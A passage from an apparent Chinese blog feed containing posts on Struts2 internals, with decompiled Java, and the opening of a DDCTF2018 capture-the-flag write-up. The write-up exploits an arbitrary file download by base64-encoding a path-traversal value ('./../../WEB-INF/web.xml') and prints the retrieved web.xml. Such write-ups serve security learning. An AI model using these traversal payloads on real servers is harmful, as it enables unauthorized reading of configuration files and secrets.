class="keyword">void</span> <span class="title">setActionEventListener</span><span class="params">(ActionEventListener var1)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">init</span><span class="params">(ActionProxy var1)</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p> 分类:</p><ul><li>对控制流 数据流元素的访问接口:getAction/getActionProxy/getStack</li><li>对执行调度流程的扩展接口:addPreListener/setActionEventListener</li><li>对执行栈进行调度的执行接口:invoke/invokeActionOnly</li></ul><h4 id="ActionInvocation调度分析"><a href="#ActionInvocation调度分析" class="headerlink" title="ActionInvocation调度分析"></a>ActionInvocation调度分析</h4><p>他的核心调度功能是通过invoke完成的。我们重新对invoke做一个解释</p><ul><li>如果执行栈中下一个元素是inteceptor对象,则执行该这个inteceptor</li><li>如果执行栈中下一个元素是Action对象,那么执行该Action</li><li>如果执行栈找不到下一个元素,那么执行终止,返回ResultCode</li></ul><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">public</span> String <span class="title">invoke</span><span class="params">()</span> <span class="keyword">throws</span> Exception </span>{</span><br><span class="line"> String profileKey = <span class="string">"invoke: "</span>;</span><br><span class="line"></span><br><span class="line"> String var21;</span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> UtilTimerStack.push(profileKey);</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.executed) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> IllegalStateException(<span class="string">"Action has already executed"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.interceptors.hasNext()) {</span><br><span class="line"> InterceptorMapping interceptor = (InterceptorMapping)<span class="keyword">this</span>.interceptors.next();</span><br><span class="line"> String interceptorMsg = <span class="string">"interceptor: "</span> + interceptor.getName();</span><br><span class="line"> UtilTimerStack.push(interceptorMsg);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="keyword">this</span>.resultCode = interceptor.getInterceptor().intercept(<span class="keyword">this</span>);</span><br><span class="line"> } <span class="keyword">finally</span> {</span><br><span class="line"> UtilTimerStack.pop(interceptorMsg);</span><br><span class="line"> }</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">this</span>.resultCode = <span class="keyword">this</span>.invokeActionOnly();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!<span class="keyword">this</span>.executed) {</span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.preResultListeners != <span class="keyword">null</span>) {</span><br><span class="line"> Iterator i$ = <span class="keyword">this</span>.preResultListeners.iterator();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">while</span>(i$.hasNext()) {</span><br><span class="line"> Object preResultListener = (PreResultListener)i$.next();</span><br><span class="line"> PreResultListener listener = (PreResultListener)preResultListener;</span><br><span class="line"> String _profileKey = <span class="string">"preResultListener: "</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> UtilTimerStack.push(_profileKey);</span><br><span class="line"> listener.beforeResult(<span class="keyword">this</span>, <span class="keyword">this</span>.resultCode);</span><br><span class="line"> } <span class="keyword">finally</span> {</span><br><span class="line"> UtilTimerStack.pop(_profileKey);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (<span class="keyword">this</span>.proxy.getExecuteResult()) {</span><br><span class="line"> <span class="keyword">this</span>.executeResult();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">this</span>.executed = <span class="keyword">true</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> var21 = <span class="keyword">this</span>.resultCode;</span><br><span class="line"> } <span class="keyword">finally</span> {</span><br><span class="line"> UtilTimerStack.pop(profileKey);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> var21;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>intercept和invoke形成了一个递归调用。递归调用的嵌套执行使得递归调用逻辑为中心的代码段称为逻辑的分水岭。</p><h3 id="ActionProxy"><a href="#ActionProxy" class="headerlink" title="ActionProxy"></a>ActionProxy</h3><h4 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h4> <figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="class"><span class="keyword">interface</span> <span class="title">ActionProxy</span> </span>{</span><br><span class="line"> <span class="function">Object <span class="title">getAction</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">String <span class="title">getActionName</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">ActionConfig <span class="title">getConfig</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">void</span> <span class="title">setExecuteResult</span><span class="params">(<span class="keyword">boolean</span> var1)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function"><span class="keyword">boolean</span> <span class="title">getExecuteResult</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">ActionInvocation <span class="title">getInvocation</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">String <span class="title">getNamespace</span><span class="params">()</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">String <span class="title">execute</span><span class="params">()</span> <span class="keyword">throws</span> Exception</span>;</span><br><span class="line"></span><br><span class="line"> <span class="function">String <span class="title">getMethod</span><span class="params">()</span></span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>ActionProxy和actioninvocation也是一个包罗万象的接口。</p><p>一方面ActionProxy对于调用者屏蔽了XWork的调用细节。</p>]]></content>
<summary type="html">
<h2 id="请求-响应-实现模型"><a href="#请求-响应-实现模型" class="headerlink" title="请求-响应 实现模型"></a>请求-响应 实现模型</h2><ul>
<li>参数-返回值 模式</li>
</ul>
<p>Public R
</summary>
</entry>
<entry>
<title>struts2系列——初始化流程</title>
<link href="http://hebic.me/2018/05/03/struts2%E7%B3%BB%E5%88%97%E2%80%94%E2%80%94%E5%88%9D%E5%A7%8B%E5%8C%96%E6%B5%81%E7%A8%8B/"/>
<id>http://hebic.me/2018/05/03/struts2系列——初始化流程/</id>
<published>2018-05-03T03:11:57.000Z</published>
<updated>2018-05-03T12:55:42.000Z</updated>
<content type="html"><![CDATA[<h1 id="配置元素与初始化主线"><a href="#配置元素与初始化主线" class="headerlink" title="配置元素与初始化主线"></a>配置元素与初始化主线</h1><p>Struts2两大主线的入口程序是相同的,都是StrutsPrepareAndExecuteFilter,入口程序驱动了两条完全不同的主线运行。从init方法开始,主要针对三个元素展开的。</p><ul><li>Dispatcher 核心分发器</li><li>PrepareOperations HTTP预处理类</li><li>ExecuteOperations HTTP处理执行类</li></ul><p>初始化主线的核心驱动力是将各种形式的配置文件进行一次统一的对象化处理</p><h1 id="核心分发器:Dispatcher"><a href="#核心分发器:Dispatcher" class="headerlink" title="核心分发器:Dispatcher"></a>核心分发器:Dispatcher</h1><p>起:Dispatcher在初始化的时候负责整个Struts2初始化,init方法在Dispatcher创建之初被调用,从而触发整个struts2的初始化过程。</p><p>承:Dispatcher负责对Http请求进行预处理(包括设置Encoding和Locale。对HttpServletRequest进行封装以及准备MVC运行的数据环境),在这个过程中由PrepareOperations在Http请求预处理的阶段调用执行。其中两个createContextMap方法把web容器相关数据封装成了Java对象。这两个方法的核心在于将web请求进行“去容器化”使得后续依赖于web请求的任何操作不受限于web容器对象,做到了解耦合。</p><p>转:在http请求预处理之后(将http请求中与web容器对象相关的全部对象分装成与web容器无关对象封装成与web容器无关对象,构造出一个数据环境。在第二阶段中Dispatcher将这个环境发送到Xwork中。发送使用的方法是serviceAction。serviceAction是整个Dispatcher对象逻辑调度核心方法,也是在Struts2在HTTP请求处理阶段的核心逻辑。</p><p>合:调用cleanup方法清理http请求的处理过程中的请求周期的对象的清理工作。</p><p>Dispatcher涵盖了St2整个生命周期,st2的初始化和http请求都是在dispatcher中完成的。他也是st2余xwork的分界点,将MVC实现与web容器的分界点。</p><h1 id="配置元素的加载器:Provider"><a href="#配置元素的加载器:Provider" class="headerlink" title="配置元素的加载器:Provider"></a>配置元素的加载器:Provider</h1><p>配置元素的加载器是st2初始化主线的重要组成部分,st2定义了一个统一的配置加载器接口ConfigurationProvider。他多重继承了两个类ContainerPriovider和PackageProvider。前者是容器加载器,主要用于加载XML和Properties。实现原理是先进行init,然后调用register方法注册元素。</p><p>后者是事件映射加载器,在这个阶段中将XML配置文件中的package阶段全部内容被翻译成PackageConfig对象供St2使用</p><h1 id="配置元素的构造器:Builder"><a href="#配置元素的构造器:Builder" class="headerlink" title="配置元素的构造器:Builder"></a>配置元素的构造器:Builder</h1><p>容器构造器:ContainerBuilder</p><p>他是一个接口,他的作用是通过一定操作,将容器所需要管理的对象搜集起来,然后通过一个创建方法把容器创建起来。他满足了构造器的两个要求:</p><p>搜集参数:factory alice constant方法</p><p>构造对象:create方法</p><p>事件映射构造器:PackageConfig.Builder</p><h1 id="配置元素的管理类:"><a href="#配置元素的管理类:" class="headerlink" title="配置元素的管理类:"></a>配置元素的管理类:</h1><p>配置管理元素:Configuration</p><p>配置操作接口:ConfigurationManager</p><p>初始化主线三大元素:</p><p>Dispatcher:初始化主线核心驱动力</p><p>Provider:初始化主线的操作载体</p><p>Builder:初始化主线中元素的构建方式</p><h1 id="Struts2初始化主线详解"><a href="#Struts2初始化主线详解" class="headerlink" title="Struts2初始化主线详解"></a>Struts2初始化主线详解</h1><p><img src="/2018/05/03/struts2系列——初始化流程/1.png" alt="1"></p><h2 id="容器"><a href="#容器" class="headerlink" title="容器"></a>容器</h2><p>面向对象的高级编程语言都是以对象为中心,对象之间的继承、嵌套引用关系所构成的对象树为我们进行对象级别的逻辑操作提供了足够的语法支持,但是对象之间复杂的关系也为对象生命周期带来了问题:</p><ul><li>在程序的运行期如何创建我们需要的对象?</li><li>如何保证被创建出来的对象所关联的依赖关系(关联对象)也可以被正确创建出来?</li></ul><p>在实现一个复杂的业务需求,离不开多个对象彼此协作共同完成。对象关系模型中协作的真正含义正式通过依赖对象的绑住,完成业务逻辑的过程。那么每个对象不得不依赖于其协作对象的引用和构建。那么每个对象对自己逻辑的执行能力是被他依赖的对象反向控制了,又称控制反转。</p><p>控制反转的提出对编程提出了:获取依赖对象 这一基本功能,如果这个功能通过程序逻辑自身实现,会存在很多弊端,于是容器(Container)被提出来了。所以容器是一个与业务逻辑完全无关的额外编程元素,来帮助对象生命周期管理。</p><p>这一编程元素(容器)需要遵循一定原则:</p><ul><li>容器应该被设计成全局、统一的编程元素</li><li>在最大程度上降低容器对业务逻辑的入侵</li><li>容器应该提供简单而全面的对象操作接口</li></ul><p>结论:容器由一系列对象的操作接口构成,其中至少包含获取对象实例以及管理对象之间的依赖关系这两类操作方法。</p><p>进入init_preloadConfiguration(),在getConfiguration方法的调用中,我们不仅获得了Configuration对象的操作接口,也完成了对所有配置元素的调度。追进getConfiguration(ConfigurationManager.java),在这个方法中,调用了reloadContainer这个方法,我们继续追入。(DefaultConfiguration.java)这个方法是容器的初始化方法。</p><p>第0步:</p><p><img src="/2018/05/03/struts2系列——初始化流程/2.png" alt="this. packageContexts. clear(); this. loadedFi1eNames . clear(); vackaeeproviders - ArravList(); "></p><p>内部缓存对象的清理</p><p>第一步:</p><p><img src="/2018/05/03/struts2系列——初始化流程/3.png" alt="img"></p><p>ContainerProperites可以追踪方法,可以看出,这是一个将Properties文件中的键值和ContainerBuilder关联起来的一个工具类。实际上ContainerBuilder收集参数的过程之一。</p><p>ContainerBuilder前面讲过,是container的构造器。</p><p>第二步:</p><p><img src="/2018/05/03/struts2系列——初始化流程/4.png" alt="Iterator i$ — providers . iterator(); while(i$. hasNext()) { Containerprovider containerprovider = (Container-provider) i$. next ( ) ; containerprovlder. init( configuration: this); containerprovider. register(builder, props); props . setConstants (builder); builder. factory (Configuration. class, create(context) { return DefaultConfü ActionContext oldContext ActionContext . getContext() ; "></p><p>第二步是COntainerBuilder收集参数的过程。在containerProvider的register方法,本身就定义了containerBuild作为参数,因此在不同配置的加载方式实现类中,ContainerBuilder将会被调用。</p><p>第三步:</p><p><img src="/2018/05/03/struts2系列——初始化流程/5.png" alt="img"></p><p>调用create把容器创建出来</p><p>第四步:</p><p>初始化时间映射关系。实际上就是对PackageProvider的生命周期调用过程。</p><p>第五步:</p><p>对PackageConfig初始化完成,对他的结构进行runtime改造,让她支持namespace的寻址方式。</p>]]></content>
<summary type="html">
<h1 id="配置元素与初始化主线"><a href="#配置元素与初始化主线" class="headerlink" title="配置元素与初始化主线"></a>配置元素与初始化主线</h1><p>Struts2两大主线的入口程序是相同的,都是StrutsPrepareAn
</summary>
</entry>
<entry>
<title>DDCTF2018-专属链接 writeup</title>
<link href="http://hebic.me/2018/04/20/DDCTF2018-%E4%B8%93%E5%B1%9E%E9%93%BE%E6%8E%A5-writeup/"/>
<id>http://hebic.me/2018/04/20/DDCTF2018-专属链接-writeup/</id>
<published>2018-04-20T02:49:46.000Z</published>
<updated>2018-04-20T02:50:16.000Z</updated>
<content type="html"><![CDATA[<h1 id="专属链接"><a href="#专属链接" class="headerlink" title="专属链接"></a>专属链接</h1><p>服务器根据每一个用户注册的邮箱,用rsa加密成密文。同样被加密的还有一个用户专属的随机flag。这道题目的思路是先下载到邮箱和flag的加密类,将“好朋友”的邮箱当做新的注册邮箱,加密为邮箱的密文。提交到网页的/flag/getflag处,网页会返回给这个用户在注册时加密的flag密文。利用下载到的秘钥库提取出公钥解密密文,得到flag。 下面说具体步骤。</p><p>进入网页,对比和官网的区别,有两处不同:</p><ol><li><code><link href="/image/banner/ZmF2aWNvbi5pY28= rel="shortcut icon"></code></li><li><!--/flag/testflag/yourflag--></li></ol><p>这道题的入口在第一个不同处,将<code>ZmF2aWNvbi5pY28=</code> 解码就是facion.ico。访问之后不是展示图标而是下载图标,因此这里存在一个任意文件下载。</p><p>考虑到这是一道Java Web,访问的内容并不是以实体文件展示,而是class和url映射,所以第一个问题就是找到到底下载什么文件。在经过一系列测试,我终于下载到了第一个文件:web.xml,位置在<code>./../../WEB-INF/web.xml</code>中,将他编码放到href中,就可以下载了。</p><p>web.xml:</p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag"><<span class="name">web-app</span> <span class="attr">version</span>=<span class="string">"2.4"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xmlns</span>=<span class="string">"http://java.sun.com/xml/ns/j2ee"</span> <span class="attr">xmlns:xsi</span>=<span class="string">"http://www.w3.org/2001/XMLSchema-instance"</span></span></span><br><span class="line"><span class="tag"> <span class="attr">xsi:schemaLocation</span>=<span class="string">"http://java.sun.com/xml/ns/j2ee</span></span></span><br><span class="line"><span class="tag"><span class="string">http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">display-name</span>></span>Spring MVC Application<span class="tag"></<span class="name">display-name</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">context-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>contextConfigLocation<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>WEB-INF/applicationContext.xml<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">context-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">listener</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">listener-class</span>></span>org.springframework.web.context.ContextLoaderListener<span class="tag"></<span class="name">listener-class</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">listener</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="comment"><!--<listener>--></span></span><br><span class="line"> <span class="comment"><!--<listener-class>com.didichuxing.ctf.listener.InitListener</listener-class>--></span></span><br><span class="line"> <span class="comment"><!--</listener>--></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">context-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>log4jconfigLocation<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>WEB-INF/log4j.properties<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">context-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">listener</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">listener-class</span>></span>org.springframework.web.util.Log4jConfigListener<span class="tag"></<span class="name">listener-class</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">listener</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>mvc-dispatcher<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-class</span>></span>org.springframework.web.servlet.DispatcherServlet<span class="tag"></<span class="name">servlet-class</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">load-on-startup</span>></span>1<span class="tag"></<span class="name">load-on-startup</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"></<span class="name">servlet</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>mvc-dispatcher<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.jpg<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.png<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.js<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.css<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.woff<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.woff2<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.map<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.ttf<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">servlet-name</span>></span>default<span class="tag"></<span class="name">servlet-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>*.svg<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">servlet-mapping</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">session-config</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">session-timeout</span>></span></span><br><span class="line"> 30</span><br><span class="line"> <span class="tag"></<span class="name">session-timeout</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">session-config</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>encodingFilter<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-class</span>></span>org.springframework.web.filter.CharacterEncodingFilter<span class="tag"></<span class="name">filter-class</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>encoding<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>UTF-8<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-name</span>></span>forceEncoding<span class="tag"></<span class="name">param-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">param-value</span>></span>true<span class="tag"></<span class="name">param-value</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">init-param</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">filter</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">filter-mapping</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">filter-name</span>></span>encodingFilter<span class="tag"></<span class="name">filter-name</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">url-pattern</span>></span>/*<span class="tag"></<span class="name">url-pattern</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">filter-mapping</span>></span></span><br><span class="line"></span><br><span class="line"> <span class="tag"><<span class="name">error-page</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">error-code</span>></span>404<span class="tag"></<span class="name">error-code</span>></span></span><br><span class="line"> <span class="tag"><<span class="name">location</span>></span>/WEB-INF/pages/404.jsp<span class="tag"></<span class="name">location</span>></span></span><br><span class="line"> <span class="tag"></<span class="name">error-page</span>></span></span><br><span class="line"><span class="tag"></<span class="name">web-app</span>></span></span><br></pre></td></tr></table></figure><p>从web.xml中可以得知框架是Spring MVC,applicationContext.xml的位置(网上搭建Sping MVC的教程默认都是在WEB-INF下)。还可以知道一个监听器的类地址<code>com.didichuxing.ctf.listener.InitListener</code> </p><p>接下来下载applicationContext.xml和<code>com.didichuxing.ctf.listener.InitListener</code> </p><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span 